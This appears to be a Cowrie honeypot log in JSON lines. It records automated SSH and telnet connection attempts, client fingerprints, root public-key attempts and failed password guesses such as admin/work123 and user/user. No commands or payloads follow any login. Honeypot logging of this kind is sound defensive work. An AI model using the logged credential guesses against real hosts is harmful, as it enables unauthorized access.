{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:8c:ab:81:99:6d:5b:dd:b4:d3:eb:85:31:db:0c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrcAY42CoJ8GX+dIlgf+VKBegqsMGEV5rZphT2pd0jkiAdJXeyFhPS+q5eGiF2R0uqsmTJ7L6DstGT4zjcscMTpDK/Tt9blgg8kNMkqUXBOl+6YL8Lc99dU699JiVP+NdgfX2xvlxIOefZ4ufuZjbBey31V1jJNh85GGdNRffnFjb86pTq4+RHmi3rafDYWuovlckAb6BB/Jbq+mRmdu+jNlyHqGTrID5WBRn1gvYCf3gquxtlnH6Ha1TaZawyjJTXI4uQDAiZxh+8jccyakXjsUVCoUxsKhP48JVGpmfwrgBvx4Mdmb/mZyydzapiUrThdwBIFO59RJnyD01tv7oA1h1uhpm722XAWkcEzsVmixv/eS+gYkIrUX2YsuCE8wf70DekOcvqnRRHqQjUvL3fsPjebAjjFZxq+/3JjbkuoeuVRlEHUSe9I2AhTVxyrsYgim/8XR/rM3Go93JE65WatrcFAlkjaDlLbkhrlx3+SbA1V0Deqw/W/6Q2vApbNKaZbt8fS3SF2o7/1L08yIspcnZ52MLb91iskb9ARv+644jCbS6jNuPUpXcmQNVKd9DW6nxGj4Lnb9SUJXMsraFBOxNLamn0glxACzzccpLNem+/Yg9ixywj1M6otmPI2eKkQPRMTj7ZOUPxQjQGGbSVG3UbBoaCIZGmc8fVg7M51Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.701386Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:c5:9a:48:b1:ef:82:c2:57:f7:f2:b0:a5:4d:43:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6mHNGG1jih3CPumt2yibTiIZKFMNDcpWbkamCE4mnrALqEQVf91zAPdh9XK89OnBI4p5u8WdQO0yKnMGZlP0rP8RtJI6F/lLFm20n53I7JLEooWt45I3sn6uiJyJUPSm4fWqGdfJjscVeamuiZrta8JZ4Wz+zYT/mHC5QkDOFsjYhqtozmH3SsJfrxQDzW2AQ4RdI966zkEffj5CZpueVseDU05oIMCt2f8fpLSRfYvwpQQojiA2a3qS+8XUckRUJqh90EKcjTuGVMgbKUKXiU8PfA5x/HdtwJRcf/02iuBySRNetCr0ZrwJL452pfNtw6bcOn56xCZ6qRkxIZn7vQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:c5:9a:48:b1:ef:82:c2:57:f7:f2:b0:a5:4d:43:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.723213Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:c5:9a:48:b1:ef:82:c2:57:f7:f2:b0:a5:4d:43:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6mHNGG1jih3CPumt2yibTiIZKFMNDcpWbkamCE4mnrALqEQVf91zAPdh9XK89OnBI4p5u8WdQO0yKnMGZlP0rP8RtJI6F/lLFm20n53I7JLEooWt45I3sn6uiJyJUPSm4fWqGdfJjscVeamuiZrta8JZ4Wz+zYT/mHC5QkDOFsjYhqtozmH3SsJfrxQDzW2AQ4RdI966zkEffj5CZpueVseDU05oIMCt2f8fpLSRfYvwpQQojiA2a3qS+8XUckRUJqh90EKcjTuGVMgbKUKXiU8PfA5x/HdtwJRcf/02iuBySRNetCr0ZrwJL452pfNtw6bcOn56xCZ6qRkxIZn7vQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.727960Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:a2:2a:0c:a2:9f:cc:43:68:e2:e2:49:43:7e:be:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCRBSjQq+RQI4TgpEl20+PToBLBUXEo7YsDqZzcCeA/vLWitUoi+9CpYhhSVe/RPs4hCZ+zqs8L4QDKwO5s7IT+/gUXtGhzEfZd0kdcFO/fZRNejjsb5wYTWeB6+POMm0Dk+2bzdMClSmvZrGZYy3k3jr+iRYYwab5cXJGwRFIvu5k1h4H6gAu0al6mBou8mABuOLoc+hAcGOTEuMmkvOIZzh4qzgcRDTtZhPMPnJsqF7kvYX5AIeW/Vfgz2NA+DGEMpbZtVKc0ipS/Wu1dye0RIOzRNGBVGjbbvc/t47fjlaVmwMxfskNK8JT78At5TIO5OhRxxF+HXHZq9aExdIGodYXR38imUwIVFb+sQnV2PbiZvuohOMAO73Qt32+5mpUy88dU1hNdLoFTiJbYAq9vRkuFy8QnCCdEXjaWx4eiB9Qlx/sreSeM7tV8pyIaxYDQKrMOnR1yz8uBTri+u53mewwRYH07fpHJEs9jlCC+1nIO7GTBdUucQo9+fT5ViYv49SMGOIb3cbVrqc4U8ohTaZIrDVFKGi8OFBQJMvClSvXb/7g2wzqQy7UIzzgLRiIvmNG0BKEGRtyAI+VRcIzbdmmx8ElKwk/YBWGOC5lTZZPykSxgxz5LyHnYAlJnDLIragXeQ907ipCf4ZTC2OwKjBT7d0DEdi/AxN4Lk9SdWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:a2:2a:0c:a2:9f:cc:43:68:e2:e2:49:43:7e:be:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.750006Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:a2:2a:0c:a2:9f:cc:43:68:e2:e2:49:43:7e:be:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCRBSjQq+RQI4TgpEl20+PToBLBUXEo7YsDqZzcCeA/vLWitUoi+9CpYhhSVe/RPs4hCZ+zqs8L4QDKwO5s7IT+/gUXtGhzEfZd0kdcFO/fZRNejjsb5wYTWeB6+POMm0Dk+2bzdMClSmvZrGZYy3k3jr+iRYYwab5cXJGwRFIvu5k1h4H6gAu0al6mBou8mABuOLoc+hAcGOTEuMmkvOIZzh4qzgcRDTtZhPMPnJsqF7kvYX5AIeW/Vfgz2NA+DGEMpbZtVKc0ipS/Wu1dye0RIOzRNGBVGjbbvc/t47fjlaVmwMxfskNK8JT78At5TIO5OhRxxF+HXHZq9aExdIGodYXR38imUwIVFb+sQnV2PbiZvuohOMAO73Qt32+5mpUy88dU1hNdLoFTiJbYAq9vRkuFy8QnCCdEXjaWx4eiB9Qlx/sreSeM7tV8pyIaxYDQKrMOnR1yz8uBTri+u53mewwRYH07fpHJEs9jlCC+1nIO7GTBdUucQo9+fT5ViYv49SMGOIb3cbVrqc4U8ohTaZIrDVFKGi8OFBQJMvClSvXb/7g2wzqQy7UIzzgLRiIvmNG0BKEGRtyAI+VRcIzbdmmx8ElKwk/YBWGOC5lTZZPykSxgxz5LyHnYAlJnDLIragXeQ907ipCf4ZTC2OwKjBT7d0DEdi/AxN4Lk9SdWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.754033Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.779964Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39630,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfc47380a7f4","protocol":"ssh","message":"New connection: 193.32.162.145:39630 (159.203.135.109:22) [session: bfc47380a7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:10.347870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:10.352704Z","src_ip":"193.32.162.145","session":"bfc47380a7f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:10.473494Z","src_ip":"193.32.162.145","session":"bfc47380a7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:10.777561Z","src_ip":"193.32.162.145","session":"bfc47380a7f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:11.879925Z","src_ip":"193.32.162.145","session":"bfc47380a7f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":60152,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bffd7532dbf","protocol":"telnet","message":"New connection: 180.235.129.180:60152 (10.17.0.5:23) [session: 9bffd7532dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:45.015183Z"}
{"eventid":"cowrie.session.closed","duration":6.53259801864624,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:51.547608Z","src_ip":"180.235.129.180","session":"9bffd7532dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":34734,"dst_ip":"10.17.0.5","dst_port":22,"session":"271af7902257","protocol":"ssh","message":"New connection: 190.244.39.224:34734 (10.17.0.5:22) [session: 271af7902257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:59.125118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:59.132978Z","src_ip":"190.244.39.224","session":"271af7902257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:59.325592Z","src_ip":"190.244.39.224","session":"271af7902257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"work123","message":"login attempt [admin/work123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:00.124997Z","src_ip":"190.244.39.224","session":"271af7902257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:01.333472Z","src_ip":"190.244.39.224","session":"271af7902257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.39","src_port":17538,"dst_ip":"159.203.135.109","dst_port":22,"session":"a682435c5a6a","protocol":"ssh","message":"New connection: 31.57.216.39:17538 (159.203.135.109:22) [session: a682435c5a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:38.504901Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:38.510784Z","src_ip":"31.57.216.39","session":"a682435c5a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.39","src_port":17552,"dst_ip":"159.203.135.109","dst_port":22,"session":"d80e2889b078","protocol":"ssh","message":"New connection: 31.57.216.39:17552 (159.203.135.109:22) [session: d80e2889b078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:38.679147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:38.684551Z","src_ip":"31.57.216.39","session":"d80e2889b078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:38.790644Z","src_ip":"31.57.216.39","session":"d80e2889b078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:39.146253Z","src_ip":"31.57.216.39","session":"d80e2889b078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:40.259740Z","src_ip":"31.57.216.39","session":"d80e2889b078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.189.11","src_port":45358,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42a672f4a38","protocol":"ssh","message":"New connection: 5.45.189.11:45358 (10.17.0.5:22) [session: e42a672f4a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:56.285774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:56.290582Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:56.439781Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:f3:fe:db:f7:7a:e1:de:67:85:22:08:d3:38:19:93","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCLCbJLzx7mpNGC7bjcJu5DBoQrrrb/0RANuox+uFMR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1d:f3:fe:db:f7:7a:e1:de:67:85:22:08:d3:38:19:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.153253Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:f3:fe:db:f7:7a:e1:de:67:85:22:08:d3:38:19:93","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCLCbJLzx7mpNGC7bjcJu5DBoQrrrb/0RANuox+uFMR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.157167Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:a7:c2:04:a3:4e:d4:af:c7:ae:db:8c:23:3b:0a:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz80jOM2081vNKsg1XyViY0r1q1Bg+nUMsikKgSZX8E3/r3XulZ2TVMRkgoKEy0H+n5EpIoAuAOvgvfnomw8M0TcKX17r5G9qS9W32ie+ilbcZ+5pmnejSZ0TvxRVPKh/obuohtdYUEKPkEgSZjLdTG8+rrj8H5QxBSQhS1QdQkxR5IhxzepIPnZ4S7iPPMMs7ApkjvdVwQ6dW4LC4C6Q/ur0de8lLPv4KbzlCrP15STwndPeTG4Id0TKeq4INIC5D/hYPFCYfGkkVy+L6UoY+SYrsVbJq5sED0ssW7rAUe8pQobHW+4fdVNQShuccIxmXoR1g06skWr2yl6ZucqL5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:a7:c2:04:a3:4e:d4:af:c7:ae:db:8c:23:3b:0a:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.305184Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:a7:c2:04:a3:4e:d4:af:c7:ae:db:8c:23:3b:0a:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz80jOM2081vNKsg1XyViY0r1q1Bg+nUMsikKgSZX8E3/r3XulZ2TVMRkgoKEy0H+n5EpIoAuAOvgvfnomw8M0TcKX17r5G9qS9W32ie+ilbcZ+5pmnejSZ0TvxRVPKh/obuohtdYUEKPkEgSZjLdTG8+rrj8H5QxBSQhS1QdQkxR5IhxzepIPnZ4S7iPPMMs7ApkjvdVwQ6dW4LC4C6Q/ur0de8lLPv4KbzlCrP15STwndPeTG4Id0TKeq4INIC5D/hYPFCYfGkkVy+L6UoY+SYrsVbJq5sED0ssW7rAUe8pQobHW+4fdVNQShuccIxmXoR1g06skWr2yl6ZucqL5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.309670Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:b3:f3:7b:29:72:4e:d0:da:6c:21:75:6f:d2:7d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5PsCm7xzpNgHzqHrbb7UJ4F0sF9aRh9WHAQGLqk4RixihuSzfKxYC3r7fWRf9OdSlNSxyk6GSeAhjl7JtHPSRw2ZVfX8hHp+LMoLULYavJDPu+Rsbqh/6BQEe5+U2+gPl3AI7Zq2GclKEc4eOfDhfUPfB3e/ggoR/CDyf9WI4oCURLY423/pqgJw9RwP2t6RTMJrUdWF/MvCIPbnsEfcdlHKVlzraR4U0/KONnCj5PQusZHumfnr2VVdfkqWNAE+4vmhoG7ZKX37kvjoL7ZMy8XE2zHDtJ5xctwNjkg0jO09bljUQ32X1k0VMneDOWD1brBn8E02JH6oEZG4B80uQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:b3:f3:7b:29:72:4e:d0:da:6c:21:75:6f:d2:7d:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.457256Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:b3:f3:7b:29:72:4e:d0:da:6c:21:75:6f:d2:7d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5PsCm7xzpNgHzqHrbb7UJ4F0sF9aRh9WHAQGLqk4RixihuSzfKxYC3r7fWRf9OdSlNSxyk6GSeAhjl7JtHPSRw2ZVfX8hHp+LMoLULYavJDPu+Rsbqh/6BQEe5+U2+gPl3AI7Zq2GclKEc4eOfDhfUPfB3e/ggoR/CDyf9WI4oCURLY423/pqgJw9RwP2t6RTMJrUdWF/MvCIPbnsEfcdlHKVlzraR4U0/KONnCj5PQusZHumfnr2VVdfkqWNAE+4vmhoG7ZKX37kvjoL7ZMy8XE2zHDtJ5xctwNjkg0jO09bljUQ32X1k0VMneDOWD1brBn8E02JH6oEZG4B80uQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.461318Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
